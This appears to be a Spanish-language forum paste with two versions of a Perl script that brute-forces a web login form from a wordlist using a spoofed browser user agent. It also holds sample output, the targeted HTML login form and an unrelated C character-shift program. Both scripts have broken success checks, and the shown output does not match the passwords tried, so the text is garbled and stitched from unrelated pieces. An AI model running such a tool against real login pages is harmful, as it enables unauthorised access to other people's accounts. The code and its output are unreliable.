#!/usr/bin/perl -w
 
use LWP::UserAgent;
use HTTP::Request::Common;
 
my $target = $ARGV[0];
my $user = $ARGV[1];
my $file = $ARGV[2];
my $bot = $ARGV[3];
 
unless ($target || $user || $file){
print("modo de uso = brute.pl <target> <user> <wordlist><submit>");
exit 1;
}
 
if(! -f $file){
print("\n\n -Archivo inexistente o invalido");
exit 1;
}else{
 
open (WORDLIST, $file);
@word = <WORDLIST>;
close WORDLIST;
 
print("inicio de bruteforce\n");
$i = 0;
 
foreach $words(@word){
chomp $words;
print "\n- Intentando con pass = $words\n";
$lwp = LWP::UserAgent->new();
$lwp->agent("Mozilla/5.0 (X11; Linux i686; rv:15.0) Gecko/20100101 Firefox/15.0");
$request = $lwp->post($target, ["username" => $user, "password"=>$words, "submit"=>$bot]);
$fondo = $request->content;
 
if($fondo ne "Login failed"){
chomp $words;
print "[Usuario] $user\n";
print "[Pass] $words\n";
print "intentos $i\n";
}else{
$i++;
last;
}
}
}

- Intentando con pass = pa
[Usuario] admin
[Pass] pa
intentos 0

- Intentando con pass = pto
[Usuario] admin
[Pass] pto
intentos 0

- Intentando con pass = password
[Usuario] admin
[Pass] passo
intentos 0

- Intentando con pass = passo
[Usuario] admin
[Pass] passo
intentos 0

use LWP::UserAgent;
use HTTP::Request::Common;
 
my $target = $ARGV[0];
my $user = $ARGV[1];
my $file = $ARGV[2];
my $bot = $ARGV[3];
 
unless ($target || $user || $file){
print("modo de uso = brute.pl <target> <user> <wordlist>");
exit 1;
}
 
if(! -f $file){
print("\n\n -Archivo inexistente o invalido");
exit 1;
}else{
 
open (WORDLIST, $file);
@word = <WORDLIST>;
close WORDLIST;
 
print("inicio de bruteforce");
$i = 0;
 
foreach $words(@word){
chomp $words;
print "- Intentando con pass = $words\n";
$lwp = LWP::UserAgent->new();
$lwp->agent("Mozilla/5.0 (X11; Linux i686; rv:15.0) Gecko/20100101 Firefox/15.0");
$request = $lwp->post($target, ["username" => $user, "password"=>$words, "submit"=>$bot]);
$fondo = $request->content;
 
if($fondo =~ m/Login failed/i){
chomp $words;
print "\n\n[Usuario] $user\n";
print "[Pass] $word\n";
print "intentos $i\n";
}else{
$i++;
}
 
 
}
}
 

<form action="login.php" method="post">
 
	<fieldset>
 
			<label for="user">Username</label> <input type="text" class="loginInput" size="20" name="username"><br />
 
			<label for="pass">Password</label> <input type="password" class="loginInput" AUTOCOMPLETE="off" size="20" name="password"><br />
 
			<p class="submit"><input type="submit" value="Login" name="Login"></p>
	</fieldset>
	</form>

#include <stdio.h>
#include <string.h>
 
int main(){
 
char men[200];
int i;
 
printf("descifrar encriptacion\n");
fgets(men, sizeof(men), stdin);
printf("--------------");
 
men[strlen(men) -1] = 0;
 
 
for(i = 0;men[i] != '\0'; i++){
 
 
printf("\n%c", men[i]+3);
 
}
}